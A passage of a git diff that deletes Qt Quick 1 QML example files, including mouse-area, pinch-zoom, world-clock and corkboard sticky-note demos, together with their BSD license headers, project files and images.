a/examples/declarative/qtquick1/touchinteraction/gestures/gestures.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "experimental-gestures.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/touchinteraction/mousearea/mousearea-example.qml b/examples/declarative/qtquick1/touchinteraction/mousearea/mousearea-example.qml deleted file mode 100644 index b899e86599..0000000000 --- a/examples/declarative/qtquick1/touchinteraction/mousearea/mousearea-example.qml +++ /dev/null @@ -1,112 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: box - width: 350; height: 250 - - Rectangle { - id: redSquare - width: 80; height: 80 - anchors.top: parent.top; anchors.left: parent.left; anchors.margins: 10 - color: "red" - - Text { text: "Click"; font.pixelSize: 16; anchors.centerIn: parent } - - MouseArea { - anchors.fill: parent - hoverEnabled: true - acceptedButtons: Qt.LeftButton | Qt.RightButton - - onEntered: info.text = 'Entered' - onExited: info.text = 'Exited (pressed=' + pressed + ')' - - onPressed: { - info.text = 'Pressed (button=' + (mouse.button == Qt.RightButton ? 'right' : 'left') - + ' shift=' + (mouse.modifiers & Qt.ShiftModifier ? 'true' : 'false') + ')' - var posInBox = redSquare.mapToItem(box, mouse.x, mouse.y) - posInfo.text = + mouse.x + ',' + mouse.y + ' in square' - + ' (' + posInBox.x + ',' + posInBox.y + ' in window)' - } - - onReleased: { - info.text = 'Released (isClick=' + mouse.isClick + ' wasHeld=' + mouse.wasHeld + ')' - posInfo.text = '' - } - - onPressAndHold: info.text = 'Press and hold' - onClicked: info.text = 'Clicked (wasHeld=' + mouse.wasHeld + ')' - onDoubleClicked: info.text = 'Double clicked' - } - } - - Rectangle { - id: blueSquare - width: 80; height: 80 - x: box.width - width - 10; y: 10 // making this item draggable, so don't use anchors - color: "blue" - - Text { text: "Drag"; font.pixelSize: 16; color: "white"; anchors.centerIn: parent } - - MouseArea { - anchors.fill: parent - drag.target: blueSquare - drag.axis: Drag.XandYAxis - drag.minimumX: 0 - drag.maximumX: box.width - parent.width - drag.minimumY: 0 - drag.maximumY: box.height - parent.width - } - } - - Text { - id: info - anchors.bottom: posInfo.top; anchors.horizontalCenter: parent.horizontalCenter; anchors.margins: 30 - - onTextChanged: console.log(text) - } - - Text { - id: posInfo - anchors.bottom: parent.bottom; anchors.horizontalCenter: parent.horizontalCenter; anchors.margins: 30 - } -} diff --git a/examples/declarative/qtquick1/touchinteraction/mousearea/mousearea.qmlproject b/examples/declarative/qtquick1/touchinteraction/mousearea/mousearea.qmlproject deleted file mode 100644 index d4d87f5583..0000000000 --- a/examples/declarative/qtquick1/touchinteraction/mousearea/mousearea.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "mousearea-example.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/touchinteraction/pincharea/flickresize.qml b/examples/declarative/qtquick1/touchinteraction/pincharea/flickresize.qml deleted file mode 100644 index d0c7a5c2e2..0000000000 --- a/examples/declarative/qtquick1/touchinteraction/pincharea/flickresize.qml +++ /dev/null @@ -1,97 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.1 - -Rectangle { - width: 640 - height: 360 - color: "gray" - - Flickable { - id: flick - anchors.fill: parent - contentWidth: 500 - contentHeight: 500 - - PinchArea { - width: Math.max(flick.contentWidth, flick.width) - height: Math.max(flick.contentHeight, flick.height) - - property real initialWidth - property real initialHeight - onPinchStarted: { - initialWidth = flick.contentWidth - initialHeight = flick.contentHeight - } - - onPinchUpdated: { - // adjust content pos due to drag - flick.contentX += pinch.previousCenter.x - pinch.center.x - flick.contentY += pinch.previousCenter.y - pinch.center.y - - // resize content - flick.resizeContent(initialWidth * pinch.scale, initialHeight * pinch.scale, pinch.center) - } - - onPinchFinished: { - // Move its content within bounds. - flick.returnToBounds() - } - - Rectangle { - width: flick.contentWidth - height: flick.contentHeight - color: "white" - Image { - anchors.fill: parent - source: "qt-logo.jpg" - MouseArea { - anchors.fill: parent - onDoubleClicked: { - flick.contentWidth = 500 - flick.contentHeight = 500 - } - } - } - } - } - } -} diff --git a/examples/declarative/qtquick1/touchinteraction/pincharea/pincharea.qmlproject b/examples/declarative/qtquick1/touchinteraction/pincharea/pincharea.qmlproject deleted file mode 100644 index cb32bdcb43..0000000000 --- a/examples/declarative/qtquick1/touchinteraction/pincharea/pincharea.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "flickresize.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/touchinteraction/pincharea/qt-logo.jpg b/examples/declarative/qtquick1/touchinteraction/pincharea/qt-logo.jpg deleted file mode 100644 index 4014b4659c..0000000000 Binary files a/examples/declarative/qtquick1/touchinteraction/pincharea/qt-logo.jpg and /dev/null differ diff --git a/examples/declarative/qtquick1/touchinteraction/touchinteraction.qmlproject b/examples/declarative/qtquick1/touchinteraction/touchinteraction.qmlproject deleted file mode 100644 index 4490df61b8..0000000000 --- a/examples/declarative/qtquick1/touchinteraction/touchinteraction.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.1 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/toys/README b/examples/declarative/qtquick1/toys/README deleted file mode 100644 index ff4d0242d7..0000000000 --- a/examples/declarative/qtquick1/toys/README +++ /dev/null @@ -1,37 +0,0 @@ -These pure QML examples demonstrate -some of what can be easily done using just a few QML files. - -The example launcher provided with Qt can be used to explore each of the -examples in this directory. They can also be viewed directly with the -QML viewer utility, without requiring compilation. - -Documentation for these examples can be found via the Tutorial and Examples -link in the main Qt documentation. - - -Finding the Qt Examples and Demos launcher -========================================== - -On Windows: - -The launcher can be accessed via the Windows Start menu. Select the menu -entry entitled "Qt Examples and Demos" entry in the submenu containing -the Qt tools. - -On Mac OS X: - -For the binary distribution, the qtdemo executable is installed in the -/Developer/Applications/Qt directory. For the source distribution, it is -installed alongside the other Qt tools on the path specified when Qt is -configured. - -On Unix/Linux: - -The qtdemo executable is installed alongside the other Qt tools on the path -specified when Qt is configured. - -On all platforms: - -The source code for the launcher can be found in the demos/qtdemo directory -in the Qt package. This example is built at the same time as the Qt libraries, -tools, examples, and demonstrations. diff --git a/examples/declarative/qtquick1/toys/clocks/clocks.qml b/examples/declarative/qtquick1/toys/clocks/clocks.qml deleted file mode 100644 index b2a2844c00..0000000000 --- a/examples/declarative/qtquick1/toys/clocks/clocks.qml +++ /dev/null @@ -1,59 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "content" - -Rectangle { - width: 640; height: 240 - color: "#646464" - - Row { - anchors.centerIn: parent - Clock { city: "New York"; shift: -4 } - Clock { city: "Mumbai"; shift: 5.5 } - Clock { city: "Tokyo"; shift: 9 } - } - QuitButton { - anchors.right: parent.right - anchors.top: parent.top - anchors.margins: 10 - } -} diff --git a/examples/declarative/qtquick1/toys/clocks/clocks.qmlproject b/examples/declarative/qtquick1/toys/clocks/clocks.qmlproject deleted file mode 100644 index c29367a487..0000000000 --- a/examples/declarative/qtquick1/toys/clocks/clocks.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "clocks.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/toys/clocks/content/Clock.qml b/examples/declarative/qtquick1/toys/clocks/content/Clock.qml deleted file mode 100644 index fde4364586..0000000000 --- a/examples/declarative/qtquick1/toys/clocks/content/Clock.qml +++ /dev/null @@ -1,124 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - id: clock - width: 200; height: 230 - - property alias city: cityLabel.text - property int hours - property int minutes - property int seconds - property real shift - property bool night: false - - function timeChanged() { - var date = new Date; - hours = shift ? date.getUTCHours() + Math.floor(clock.shift) : date.getHours() - night = ( hours < 7 || hours > 19 ) - minutes = shift ? date.getUTCMinutes() + ((clock.shift % 1) * 60) : date.getMinutes() - seconds = date.getUTCSeconds(); - } - - Timer { - interval: 100; running: true; repeat: true; - onTriggered: clock.timeChanged() - } - - Image { id: background; source: "clock.png"; visible: clock.night == false } - Image { source: "clock-night.png"; visible: clock.night == true } - - - Image { - x: 92.5; y: 27 - source: "hour.png" - smooth: true - transform: Rotation { - id: hourRotation - origin.x: 7.5; origin.y: 73; - angle: (clock.hours * 30) + (clock.minutes * 0.5) - Behavior on angle { - SpringAnimation { spring: 2; damping: 0.2; modulus: 360 } - } - } - } - - Image { - x: 93.5; y: 17 - source: "minute.png" - smooth: true - transform: Rotation { - id: minuteRotation - origin.x: 6.5; origin.y: 83; - angle: clock.minutes * 6 - Behavior on angle { - SpringAnimation { spring: 2; damping: 0.2; modulus: 360 } - } - } - } - - Image { - x: 97.5; y: 20 - source: "second.png" - smooth: true - transform: Rotation { - id: secondRotation - origin.x: 2.5; origin.y: 80; - angle: clock.seconds * 6 - Behavior on angle { - SpringAnimation { spring: 2; damping: 0.2; modulus: 360 } - } - } - } - - Image { - anchors.centerIn: background; source: "center.png" - } - - Text { - id: cityLabel - y: 200; anchors.horizontalCenter: parent.horizontalCenter - color: "white" - font.bold: true; font.pixelSize: 14 - style: Text.Raised; styleColor: "black" - } -} diff --git a/examples/declarative/qtquick1/toys/clocks/content/QuitButton.qml b/examples/declarative/qtquick1/toys/clocks/content/QuitButton.qml deleted file mode 100644 index 8161613e89..0000000000 --- a/examples/declarative/qtquick1/toys/clocks/content/QuitButton.qml +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -Image { - source: "quit.png" - scale: quitMouse.pressed ? 0.8 : 1.0 - smooth: quitMouse.pressed - MouseArea { - id: quitMouse - anchors.fill: parent - anchors.margins: -10 - onClicked: Qt.quit() - } -} diff --git a/examples/declarative/qtquick1/toys/clocks/content/background.png b/examples/declarative/qtquick1/toys/clocks/content/background.png deleted file mode 100644 index a885950862..0000000000 Binary files a/examples/declarative/qtquick1/toys/clocks/content/background.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/clocks/content/center.png b/examples/declarative/qtquick1/toys/clocks/content/center.png deleted file mode 100644 index 7fbd802a44..0000000000 Binary files a/examples/declarative/qtquick1/toys/clocks/content/center.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/clocks/content/clock-night.png b/examples/declarative/qtquick1/toys/clocks/content/clock-night.png deleted file mode 100644 index cc7151a397..0000000000 Binary files a/examples/declarative/qtquick1/toys/clocks/content/clock-night.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/clocks/content/clock.png b/examples/declarative/qtquick1/toys/clocks/content/clock.png deleted file mode 100644 index 462edacc0e..0000000000 Binary files a/examples/declarative/qtquick1/toys/clocks/content/clock.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/clocks/content/hour.png b/examples/declarative/qtquick1/toys/clocks/content/hour.png deleted file mode 100644 index f8061a1235..0000000000 Binary files a/examples/declarative/qtquick1/toys/clocks/content/hour.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/clocks/content/minute.png b/examples/declarative/qtquick1/toys/clocks/content/minute.png deleted file mode 100644 index 1297ec7c2b..0000000000 Binary files a/examples/declarative/qtquick1/toys/clocks/content/minute.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/clocks/content/quit.png b/examples/declarative/qtquick1/toys/clocks/content/quit.png deleted file mode 100644 index b822057d4e..0000000000 Binary files a/examples/declarative/qtquick1/toys/clocks/content/quit.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/clocks/content/second.png b/examples/declarative/qtquick1/toys/clocks/content/second.png deleted file mode 100644 index 4aa9fb5e8e..0000000000 Binary files a/examples/declarative/qtquick1/toys/clocks/content/second.png and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/corkboards/Day.qml b/examples/declarative/qtquick1/toys/corkboards/Day.qml deleted file mode 100644 index 50828af4df..0000000000 --- a/examples/declarative/qtquick1/toys/corkboards/Day.qml +++ /dev/null @@ -1,153 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Component { - Item { - property variant stickies - - id: page - width: ListView.view.width+40; height: ListView.view.height - - - Image { - source: "cork.jpg" - width: page.ListView.view.width - height: page.ListView.view.height - fillMode: Image.PreserveAspectCrop - clip: true - } - - MouseArea { - anchors.fill: parent - onClicked: page.focus = false; - } - - Text { - text: name; x: 15; y: 8; height: 40; width: 370 - font.pixelSize: 18; font.bold: true; color: "white" - style: Text.Outline; styleColor: "black" - } - - Repeater { - model: notes - Item { - id: stickyPage - - property int randomX: Math.random() * (page.ListView.view.width-0.5*stickyImage.width) +100 - property int randomY: Math.random() * (page.ListView.view.height-0.5*stickyImage.height) +50 - - x: randomX; y: randomY - - rotation: -flickable.horizontalVelocity / 100; - Behavior on rotation { - SpringAnimation { spring: 2.0; damping: 0.15 } - } - - Item { - id: sticky - scale: 0.7 - - Image { - id: stickyImage - x: 8 + -width * 0.6 / 2; y: -20 - source: "note-yellow.png" - scale: 0.6; transformOrigin: Item.TopLeft - smooth: true - } - - TextEdit { - id: myText - x: -104; y: 36; width: 215; height: 200 - smooth: true - font.pixelSize: 24 - readOnly: false - rotation: -8 - text: noteText - } - - Item { - x: stickyImage.x; y: -20 - width: stickyImage.width * stickyImage.scale - height: stickyImage.height * stickyImage.scale - - MouseArea { - id: mouse - anchors.fill: parent - drag.target: stickyPage - drag.axis: Drag.XandYAxis - drag.minimumY: 0 - drag.maximumY: page.height - 80 - drag.minimumX: 100 - drag.maximumX: page.width - 140 - onClicked: { myText.focus = true; myText.openSoftwareInputPanel(); } - } - } - } - - Image { - x: -width / 2; y: -height * 0.5 / 2 - source: "tack.png" - scale: 0.7; transformOrigin: Item.TopLeft - } - - states: State { - name: "pressed" - when: mouse.pressed - PropertyChanges { target: sticky; rotation: 8; scale: 1 } - PropertyChanges { target: page; z: 8 } - } - - transitions: Transition { - NumberAnimation { properties: "rotation,scale"; duration: 200 } - } - } - } - } -} - - - - - - - - diff --git a/examples/declarative/qtquick1/toys/corkboards/cork.jpg b/examples/declarative/qtquick1/toys/corkboards/cork.jpg deleted file mode 100644 index 160bc002bf..0000000000 Binary files a/examples/declarative/qtquick1/toys/corkboards/cork.jpg and /dev/null differ diff --git a/examples/declarative/qtquick1/toys/corkboards/corkboards.qml b/examples/declarative/qtquick1/toys/corkboards/corkboards.qml deleted file mode 100644 index fddea91ea5..0000000000 --- a/examples/declarative/qtquick1/toys/corkboards/corkboards.qml +++ /dev/null @@ -1,115 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 800; height: 480 - color: "#464646" - - ListModel { - id: list - - ListElement { - name: "Sunday" - notes: [ - ListElement { noteText: "Lunch" }, - ListElement { noteText: "Birthday Party" } - ] - } - - ListElement { - name: "Monday" - notes: [ - ListElement { noteText: "Pickup kids from\nschool\n4.30pm" }, - ListElement { noteText: "Checkout Qt" }, ListElement { noteText: "Read email" } - ] - } - - ListElement { - name: "Tuesday" - notes: [ - ListElement { noteText: "Walk dog" }, - ListElement { noteText: "Buy newspaper" } - ] - } - - ListElement { - name: "Wednesday" - notes: [ ListElement { noteText: "Cook dinner" } ] - } - - ListElement { - name: "Thursday" - notes: [ - ListElement { noteText: "Meeting\n5.30pm" }, - ListElement { noteText: "Weed garden" } - ] - } - - ListElement { - name: "Friday" - notes: [ - ListElement { noteText: "More work" }, - ListElement { noteText: "Grocery shopping" } - ] - } - - ListElement { - name: "Saturday" - notes: [ - ListElement { noteText: "Drink" }, - ListElement { noteText: "Download Qt\nPlay with QML" } - ] - } - } - - ListView { - id: flickable - - anchors.fill: parent - focus: true - highlightRangeMode: ListView.StrictlyEnforceRange - orientation: ListView.Horizontal - snapMode: ListView.SnapOneItem - model: list - delegate: Day { } - } -} diff --git a/examples/declarative/qtquick1/toys/corkboards/corkboards.qmlproject b/examples/declarative/qtquick1/toys/corkboards/corkboards.qmlproject deleted file mode 100644 index daae9c1fed..0000000000 --- a/examples/declarative/qtquick1/toys/corkboards/corkboards.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "corkboards.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git 